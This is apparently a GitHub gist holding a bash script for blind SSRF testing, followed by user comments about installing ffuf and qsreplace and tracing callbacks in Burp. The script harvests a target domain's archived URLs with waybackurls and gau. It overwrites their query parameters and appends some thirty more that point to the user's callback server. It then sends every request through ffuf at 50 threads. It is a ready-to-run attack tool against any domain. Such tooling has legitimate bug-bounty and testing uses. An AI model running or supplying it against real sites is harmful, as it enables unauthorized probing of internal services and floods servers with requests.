This script takes a domain name and a callback server, parses links , appends SSRF parameters and fire the requests.

ssrf.sh

echo "Blind SSRF testing - append to parameters and add new parameters @hussein98d"
echo "Usage: bash script.sh domain.com http://server-callbak"
echo "This script uses https://github.com/ffuf/ffuf, https://github.com/lc/gau, https://github.com/tomnomnom/waybackurls"
if [ -z "$1" ]; then
  echo >&2 "ERROR: Domain not set"
  exit 2
fi
if [ -z "$2" ]; then
  echo >&2 "ERROR: Sever link not set"
  exit 2
fi
echo "Getting WaybackURLS"
waybackurls $1 > $1-ssrf.txt
echo "Getting URLS with GAU"
gau $1 >> $1-ssrf.txt
echo "Putting them all together.."
cat $1-ssrf.txt | sort | uniq | grep "?" | qsreplace -a | qsreplace $2 > $1-ssrf2.txt
sed -i "s|$|\&dest=$2\&redirect=$2\&uri=$2\&path=$2\&continue=$2\&url=$2\&window=$2\&next=$2\&data=$2\&reference=$2\&site=$2\&html=$2\&val=$2\&validate=$2\&domain=$2\&callback=$2\&return=$2\&page=$2\&feed=$2\&host=$2&\port=$2\&to=$2\&out=$2\&view=$2\&dir=$2\&show=$2\&navigation=$2\&open=$2|g" $1-ssrf2.txt
echo "Firing the requests - check your server for potential callbacks"
ffuf -w $1-ssrf2.txt -u FUZZ -t 50

it says ffuf command not found and i have installed ffuf

Give path

which path??

…

On Thu, May 7, 2020 at 9:12 PM Aly Shah Mughal ***@***.***> wrote: ***@***.**** commented on this gist. ------------------------------ Give path — You are receiving this because you commented. Reply to this email directly, view it on GitHub <https://gist.github.com/d09b5990ff339dac8029b1e9248d2875#gistcomment-3294452>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AJYAZSZF6XFOZE2CSGQA2KDRQLJF5ANCNFSM4M3NBDPA> .

means like if your ffuf is on Desktop/ffuf ,so give ffuf path like this ~/Desktop/ffuf/ffuf -w $1-ssrf2.txt -u FUZZ -t 50

Or just do $mv fuzz /usr/bin/fuzz this way you can run the command from anywhere.

Sure

…

On Fri, 8 May 2020, 10:24 Mikeobi, ***@***.***> wrote: ***@***.**** commented on this gist. ------------------------------ Or just do mv fuzz /user/bin/fuzz this way you can run the command from anywhere. — You are receiving this because you commented. Reply to this email directly, view it on GitHub <https://gist.github.com/d09b5990ff339dac8029b1e9248d2875#gistcomment-3295424>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AJYAZS33UPGA2FND2LUAGBDRQOF73ANCNFSM4M3NBDPA> .

what is qsrelpace?

It's a tool by Tomnomnom
https://github.com/tomnomnom/hacks/tree/master/qsreplace

There you go

Thank you~

Np :)

after getting the call back how can i know from which url and parameter it came, am using burp